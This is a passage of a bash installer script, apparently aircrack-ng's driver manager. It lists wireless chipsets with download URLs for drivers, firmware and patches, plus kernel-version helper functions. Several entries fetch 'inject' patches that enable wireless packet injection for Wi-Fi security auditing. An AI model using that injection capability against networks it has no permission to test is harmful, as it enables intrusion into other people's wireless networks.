DCONFIG[$i]="CONFIG_RT61PCI=" DCONFIGS[$i]="CONFIG_RT61PCI=m" DMODULES[$i]="rt61pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt2561.bin rt2561s.bin rt2661.bin rt61sta.dat" DF_FIRMFILE[$i]="rt61-1.1.0-b2.tar.gz" DF_FIRMPATH1[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMPATH2[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMDIR[$i]="rt61-1.1.0-b2" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT61\|RT2600\|RT2561" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt73 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt73" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt73" DI_INIT[$i]="rm -rf rt73-k2wrlz-3.0.2/" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rt73-k2wrlz-3.0.2.tar.bz2" DI_DRIVERPATH1[$i]="http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-3.0.2.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rt73-k2wrlz-3.0.2/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt73.bin rt73sta.dat" DF_FIRMFILE[$i]="RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH1[$i]="http://www.ralinktech.com.tw/data/RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="RT73_Linux_STA_Drv1.0.4.0" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt73" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt73 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt73usb" DCONFIG[$i]="CONFIG_RT73USB=" DCONFIGS[$i]="CONFIG_RT73USB=m" DMODULES[$i]="rt73usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt73.bin rt73sta.dat" DF_FIRMFILE[$i]="RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH1[$i]="http://www.ralinktech.com.tw/data/RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="RT73_Linux_STA_Drv1.0.4.0" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt73 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt73usb" DCONFIG[$i]="CONFIG_RT73USB=" DCONFIGS[$i]="CONFIG_RT73USB=m" DMODULES[$i]="rt73usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt73.bin rt73sta.dat" DF_FIRMFILE[$i]="RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH1[$i]="http://www.ralinktech.com.tw/data/RT73_Linux_STA_Drv1.0.4.0.tar.gz" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="RT73_Linux_STA_Drv1.0.4.0" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Realtek rtl8180" DSTACK[$i]="3" DMODINFO[$i]="" DMODULE[$i]="r818x" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="r818x" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rtl8180-0.21.tar.gz" DI_DRIVERPATH1[$i]="http://ovh.dl.sourceforge.net/sourceforge/rtl8180-sa2400/rtl8180-0.21.tar.gz" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rtl8180-0.21" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="rtl8180-0.21v2.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/rtl8180-0.21v2.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/rtl8180-0.21v2.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=r8180-sa2400" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Realtek rtl8187" DSTACK[$i]="3" DMODINFO[$i]="" DMODULE[$i]="r8187" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="r8187 ieee80211-rtl ieee80211_crypt-rtl ieee80211_crypt_wep-rtl ieee80211_crypt_tkip-rtl ieee80211_crypt_ccmp-rtl" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rtl8187_linux_26.1010.zip" DI_DRIVERPATH1[$i]="http://dl.aircrack-ng.org/drivers/rtl8187_linux_26.1010.zip" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rtl8187_linux_26.1010.0622.2006" DI_PREPATCH[$i]="rtl8187_prepatch $i" DI_PATCHFILE[$i]="rtl8187_2.6.27.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/rtl8187_2.6.27.patch" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=r8187" DETECT_USB[$i]="RTL8187" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Realtek rtl8187" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="rtl8187" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rtl8187" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="RTL8187" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="WLAN-NG" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="prism2_pci" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="prism2_pci prism2_usb prism2_plx prism2_cs p80211" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-wlan-ng-0.2.8.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.linux-wlan.org/pub/linux-wlan-ng/linux-wlan-ng-0.2.8.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="linux-wlan-ng-0.2.8" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="linux-wlan-ng-0.2.8.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/linux-wlan-ng-0.2.8.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/linux-wlan-ng-0.2.8.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE auto_config" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=wlan-ng" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Xircom Creditcard Netwave" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="netwave_cs" DCONFIG[$i]="CONFIG_PCMCIA_NETWAVE=" DCONFIGS[$i]="CONFIG_PCMCIA_NETWAVE=m" DMODULES[$i]="netwave_cs" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1201" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="zd1201" DCONFIG[$i]="CONFIG_USB_ZD1201=" DCONFIGS[$i]="CONFIG_USB_ZD1201=m" DMODULES[$i]="zd1201" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="zd1201.fw zd1201-ap.fw" DF_FIRMFILE[$i]="zd1201-0.14-fw.tar.gz" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/linux-lc100020/zd1201-0.14-fw.tar.gz" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/linux-lc100020/zd1201-0.14-fw.tar.gz" DF_FIRMDIR[$i]="zd1201-0.14-fw" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1211" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="zd1211" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="zd1211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="zd1211b_ub zd1211b_uphm zd1211b_ur zd1211_uph zd1211_uphr zd1211b_uph zd1211b_uphr zd1211_ub zd1211_uphm zd1211_ur" DF_FIRMFILE[$i]="zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMDIR[$i]="zd1211-firmware" DF_INSTALLDIR[$i]="zd1211" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1211rw" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="zd1211rw" DCONFIG[$i]="CONFIG_ZD1211RW=" DCONFIGS[$i]="CONFIG_ZD1211RW=m" DMODULES[$i]="zd1211rw" DI_INIT[$i]="install_zd1211rw $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless/zd1211rw" DI_DRIVERDIR[$i]="zd1211rw" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="zd1211rw_inject_2.6.23.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.23.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.23.patch" DI_PATCHARG[$i]="-p5" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/zd1211rw/"" DI_INSTALL2[$i]="cp -f zd1211rw.ko $KMOD/kernel/drivers/net/wireless/zd1211rw/" DF_FIRMFILES[$i]="zd1211b_ub zd1211b_uphm zd1211b_ur zd1211_uph zd1211_uphr zd1211b_uph zd1211b_uphr zd1211_ub zd1211_uphm zd1211_ur" DF_FIRMFILE[$i]="zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMDIR[$i]="zd1211-firmware" DF_INSTALLDIR[$i]="zd1211" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=zd1211rw" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1211rw" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="zd1211rw_mac80211" DCONFIG[$i]="CONFIG_ZD1211RW_MAC80211=" DCONFIGS[$i]="CONFIG_ZD1211RW_MAC80211=m" DMODULES[$i]="zd1211rw_mac80211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=zd1211rw" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="NDIS Wrapper" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="ndiswrapper" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="ndiswrapper" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="ndiswrapper-1.49.tar.gz" DI_DRIVERPATH1[$i]="http://heanet.dl.sourceforge.net/sourceforge/ndiswrapper/ndiswrapper-1.49.tar.gz" DI_DRIVERPATH2[$i]="http://internap.dl.sourceforge.net/sourceforge/ndiswrapper/ndiswrapper-1.49.tar.gz" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="ndiswrapper-1.49" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="make" DI_INSTALL1[$i]="make install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://ndiswrapper.sourceforge.net" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" #END drivers DCOUNT=$(($i+1)) #init install scripts install_hostap() { if [ $KMINOR -eq 6 -a $KPATCH -lt 16 ] then #use external driver 0.4.7 DI_DRIVERFILE[$1]="hostap-driver-0.4.9.tar.gz" DI_DRIVERPATH1[$1]="http://hostap.epitest.fi/releases/hostap-driver-0.4.9.tar.gz" DI_DRIVERPATH2[$1]="" DI_DRIVEREXDIR[$1]="" DI_DRIVERDIR[$1]="hostap-driver-0.4.9" DI_PATCHFILE[$1]="hostap-driver-0.4.9.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/hostap-driver-0.4.9.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/hostap-driver-0.4.9.patch" DI_PATCHARG[$1]="-p1" DI_COMPILE[$1]="$MAKE" DI_INSTALL1[$1]="$MAKE install" fi if [ $KMINOR -eq 6 -a $KPATCH -gt 18 ] then DI_PATCHFILE[$1]="hostap-kernel-2.6.18.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/hostap-kernel-2.6.18.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/hostap-kernel-2.6.18.patch" fi } install_hermes() { if [ $KMINOR -eq 4 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-3.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-3.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-3" fi if [ $KMINOR -eq 6 -a $KPATCH -le 7 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-5.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-5.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-5" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 8 -a $KPATCH -le 10 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-7.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-7.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-7" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 11 -a $KPATCH -le 12 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-8.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-8.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-8" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 13 -a $KPATCH -le 14 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-9.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-9.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-9" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 18 -a $KPATCH -le 19 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-15.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-15.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-15" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 20 -a $KPATCH -le 25 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-16.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-16.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-16" fi } install_ipw2200() { if [ $KMINOR -eq 6 -a $KPATCH -lt 15 ] then DI_DRIVERFILE[$1]="ipw2200-1.1.4.tgz" DI_DRIVERPATH1[$1]="http://prdownloads.sourceforge.net/ipw2200/ipw2200-1.1.4.tgz?download" DI_DRIVERPATH2[$1]="http://prdownloads.sourceforge.net/ipw2200/ipw2200-1.1.4.tgz?download" DI_DRIVEREXDIR[$1]="" DI_DRIVERDIR[$1]="ipw2200-1.1.4" DI_PRECOMP[$1]="" DI_COMPILE[$1]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[2]} modules" DI_INSTALL1[$1]="mkdir -p "$KMOD/kernel/drivers/net/wireless/ipw2200/"" DI_INSTALL2[$1]="cp -f ipw2200.ko $KMOD/kernel/drivers/net/wireless/ipw2200/" fi } install_zd1211rw() { if [ $KMINOR -eq 6 -a $KPATCH -lt 18 ] then DI_DRIVERFILE[$1]="linux-2.6.18.tar.bz2" DI_DRIVERPATH1[$1]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2" DI_DRIVERPATH2[$1]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2" DI_DRIVEREXDIR[$1]="linux-2.6.18/drivers/net/wireless/zd1211rw" fi if [ $KMINOR -eq 6 -a $KPATCH -eq 20 ] then DI_PATCHFILE[$1]="zd1211rw_inject_2.6.20.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.20.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.20.patch" fi if [ $KMINOR -eq 6 -a $KPATCH -eq 21 ] then DI_PATCHFILE[$1]="zd1211rw_inject_2.6.21-gentoo.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.21-gentoo.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.21-gentoo.patch" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 22 ] then DI_PATCHFILE[$1]="zd1211rw_inject_2.6.22.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.22.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.22.patch" fi } madwifi_install() { echo i | $MAKE install } ipw2100_precomp() { echo 'obj-$(CONFIG_IPW2100) += ipw2100.o' > Makefile } ipw2200_precomp() { echo 'obj-$(CONFIG_IPW2200) += ipw2200.o' > Makefile } rtl8187_prepatch() { $TAR xzf stack.tar.gz $TAR xzf drv.tar.gz } install_ieee80211() { #use old patch for kernel < 2.6.22 if [ $KMINOR -eq 6 -a $KPATCH -lt 22 ] then SI_PATCHFILE[$1]="ieee80211_inject.patch" SI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/ieee80211_inject.patch" SI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/ieee80211_inject.patch" fi if [ $2 -eq 1 ] then #check if kernel source is in /usr/src/linux instead missing=0 #check for default files README COPYING CREDITS (i hope every kernel source includes them all) if [ ! -f "/usr/src/linux/README" -o ! -f "/usr/src/linux/COPYING" -o ! -f "/usr/src/linux/CREDITS" ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #2nd check (in case README COPYING and CREDITS is included in kernel headers) #searches for .c files in "net" subdir if [ $missing = 0 -a x"`find "/usr/src/linux/net/" -name "*\.c" | head -n 1`" = x ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi if [ $missing = 0 ] then SI_DRIVERPATH1[$1]=$SI_DRIVERPATH2[$1] else echo echo "Your kernel source is neither in \"$KSRC\" nor in \"/usr/src/linux\"." echo "Trying with vanilla source. (May fail on heavily patched distributions.)" echo "If it fails install your proper kernel source and rerun this script." echo sleep 3 SI_DRIVERGET[$1]="wget" SI_DRIVERFILE[$1]="linux-$VANILLA.tar.bz2" SI_DRIVERPATH1[$1]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVERPATH2[$1]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVEREXDIR[$1]="linux-$VANILLA/net/ieee80211" SI_DRIVERDIR[$1]="ieee80211" fi fi } install_softmac() { #use no patch for kernel < 2.6.19 if [ $KMINOR -eq 6 -a $KPATCH -lt 19 ] then SI_PATCHFILE[$1]="" SI_PATCHPATH1[$1]="" SI_PATCHPATH2[$1]="" SI_PATCHARG[$1]="" fi if [ $2 -eq 1 ] then #check if kernel source is in /usr/src/linux instead missing=0 #check for default files README COPYING CREDITS (i hope every kernel source includes them all) if [ ! -f "/usr/src/linux/README" -o ! -f "/usr/src/linux/COPYING" -o ! -f "/usr/src/linux/CREDITS" ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #2nd check (in case README COPYING and CREDITS is included in kernel headers) #searches for .c files in "net" subdir if [ $missing = 0 -a x"`find "/usr/src/linux/net/" -name "*\.c" | head -n 1`" = x ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi if [ $missing = 0 ] then SI_DRIVERPATH1[$1]=$SI_DRIVERPATH2[$1] else echo echo "Your kernel source is neither in \"$KSRC\" nor in \"/usr/src/linux\"." echo "Trying with vanilla source. (May fail on heavily patched distributions.)" echo "If it fails install your proper kernel source and rerun this script." echo sleep 3 SI_DRIVERGET[$1]="wget" SI_DRIVERFILE[$1]="linux-$VANILLA.tar.bz2" SI_DRIVERPATH1[$1]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVERPATH2[$1]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVEREXDIR[$1]="linux-$VANILLA/net/ieee80211/softmac" SI_DRIVERDIR[$1]="softmac" fi fi } #end #install script doing the dirty work #you're already in the correct dir #old modules are unloaded # 5 steps: get the source, get the patch, patch, compile, install install_action() { #write some info into log file echo "`date`" >> "$LOGFILE" 2>&1 echo "Installing \"${DNAME[$1]}\" on $KVER." >> "$LOGFILE" 2>&1 #0 - check if all needed variables are set if [ x"${DI_DRIVERFILE[$1]}" == x -a x"${DI_DRIVERGET[$1]}" == "wget" ] then echo "DI_DRIVERFILE[$1] isn't set!" return $ERROR fi if [ x"${DI_DRIVERPATH1[$1]}" == x ] then echo "DI_DRIVERPATH1[$1] isn't set, you need at least one driver source!" return $ERROR fi if [ x"${DI_DRIVERDIR[$1]}" == x ] then echo "DI_DRIVERDIR[$1] isn't set!" return $ERROR fi if 